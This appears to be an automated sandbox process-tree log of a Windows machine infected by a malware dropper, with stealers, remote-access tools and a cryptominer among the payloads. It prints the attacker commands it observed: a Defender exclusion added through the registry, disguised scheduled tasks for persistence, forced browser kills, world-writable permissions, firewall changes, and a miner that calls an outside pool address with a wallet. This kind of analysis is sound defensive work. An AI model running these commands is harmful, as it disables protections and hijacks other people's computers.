C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exeC:\Users\Admin\AppData\Local\Temp\a\RedX_Setup.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"C:\Users\Admin\AppData\Local\Temp\a\vnc.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient...exe"C:\Users\Admin\AppData\Local\Temp\a\XClient...exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\grab.exe"C:\Users\Admin\AppData\Local\Temp\a\grab.exe"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe"C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe"3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe"C:\Users\Admin\AppData\Local\Temp\a\net_launcher.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"C:\Users\Admin\AppData\Local\Temp\a\Pulsar-Client.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123123.exe"C:\Users\Admin\AppData\Local\Temp\a\123123.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\peinf.exe"C:\Users\Admin\AppData\Local\Temp\a\peinf.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe"C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe"3⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe"C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe"3⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\SkinConverter.exe"4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -i4⤵
-
-
C:\Windows\SysWOW64\Rundll32.exe"C:\Windows\SysWOW64\Rundll32.exe" "C:\Windows\SysWOW64\PPTVSvc.dll" RundllCmd -start4⤵
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s C:\Windows\system32\kindling.dll4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nsa8DA0.tmp\firewall.exe"C:\Users\Admin\AppData\Local\Temp\nsa8DA0.tmp\firewall.exe" /PPTVPATH=C:\Program Files (x86)\PPLive\PPTV /PPTVVERSION=3.1.5.00654⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" PPLiveU Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" RepairSetup.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\CrashReporter.exe" CrashReporter.exe Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh firewall add allowedprogram "C:\Windows\system32\PPTVLauncher.exe" PPTVLauncher Enable5⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" PPLive Enable5⤵
- Modifies Windows Firewall
-
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /RegServer4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\hwcheck.exe" -s -luminanceonly "C:\Users\Admin\AppData\Local\Temp\hwcheck.mp4"4⤵
-
-
C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe"C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\RepairSetup.exe" -codec4⤵
-
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" /LoadModule MngModule.dll /T 1 /C forqd1084 /F 0 /G 3.1.5 /H 1 /I /L 0 /M 0 /N 0 /O 1 /P4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6.exe"C:\Users\Admin\AppData\Local\Temp\a\6.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5.exe"C:\Users\Admin\AppData\Local\Temp\a\5.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-C2KZODIA9C.tmp\pardufrigi_installer_1.0.p1.tmp"C:\Users\Admin\AppData\Local\Temp\is-C2KZODIA9C.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$90064,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe"C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe"3⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RuntimeBroker_rustdesk.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "taskkill /F /IM RuntimeBroker_rustdesk.exe"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RuntimeBroker_rustdesk.exe6⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe" --check-hwcodec-config5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrget.exe"C:\Users\Admin\AppData\Local\Temp\a\xmrget.exe"3⤵
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe4⤵
-
-
C:\sysfrodolv.exe\sysfrodolv.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=255⤵
- Executes a command shell one-liner
-
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=256⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\twizt.exe"C:\Users\Admin\AppData\Local\Temp\a\twizt.exe"3⤵
-
C:\Windows\syscvnrhost.exeC:\Windows\syscvnrhost.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\3550714943.exeC:\Users\Admin\AppData\Local\Temp\3550714943.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2382211869.exeC:\Users\Admin\AppData\Local\Temp\2382211869.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\2188135035.exeC:\Users\Admin\AppData\Local\Temp\2188135035.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1174324972.exeC:\Users\Admin\AppData\Local\Temp\1174324972.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3324240330.exeC:\Users\Admin\AppData\Local\Temp\3324240330.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1632722003.exeC:\Users\Admin\AppData\Local\Temp\1632722003.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2379434758.exeC:\Users\Admin\AppData\Local\Temp\2379434758.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2283414494.exeC:\Users\Admin\AppData\Local\Temp\2283414494.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4159429084.exeC:\Users\Admin\AppData\Local\Temp\4159429084.exe6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T7⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T7⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe"C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\REF-CLI%20v1.0.3.exe"C:\Users\Admin\AppData\Local\Temp\a\REF-CLI%20v1.0.3.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1797.tmp.exeC:\Users\Admin\AppData\Local\Temp\1797.tmp.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K988OTPEWC.tmp\1797.tmp.tmp"C:\Users\Admin\AppData\Local\Temp\is-K988OTPEWC.tmp\1797.tmp.tmp" /SL5="$70092,2775941,905728,C:\Users\Admin\AppData\Local\Temp\1797.tmp.exe"3⤵
-
-
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\DAF0.tmp.exeC:\Users\Admin\AppData\Local\Temp\DAF0.tmp.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\ProgramData\cceaccdccbc.exe"C:\ProgramData\cceaccdccbc.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\audiodgoar.exeC:\Users\Admin\AppData\Roaming\audiodgoar.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\3.exeC:\Users\Admin\AppData\Local\Temp\a\3.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\sx0e5c4500.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5c4500.exe"1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AC8EA681399C3E8C5A802208C0F4F473 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6EEE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240939421 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3FE1949E5C5E06BAC34E63A0DB0DF9322⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 40DAC8640AF936DA940F01A6357DF986 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9B3D8F8D1D8BDFBCA26DE6F26E6FF217 U2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A7B49D98365C07C1C05C8F94D01B6FC0 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 04F2FD1214A1B0CC2218D437D2FECB4A2⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AACCB08064FB5DA85FC61A8FA810C768 E Global\MSI00002⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exeC:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exeC:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe"C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe"1⤵
-
C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe"C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sysC:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exeC:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe1⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"1⤵
-
C:\Windows\Media\mppr.exeC:\Windows\Media\mppr.exe1⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\INF\usbhub\usbperfsym.exeC:\Windows\INF\usbhub\usbperfsym.exe1⤵
-
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exeC:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe1⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"4⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"4⤵
- Modifies Windows Firewall
-
-
-
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"2⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s "C:\Program Files (x86)\CentraStage\scvncctrl.dll"3⤵
-
-
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\Windows\SysWOW64\SystemDiagnosticsHost.exeC:\Windows\SysWOW64\SystemDiagnosticsHost.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k PPTVServiceGroup1⤵
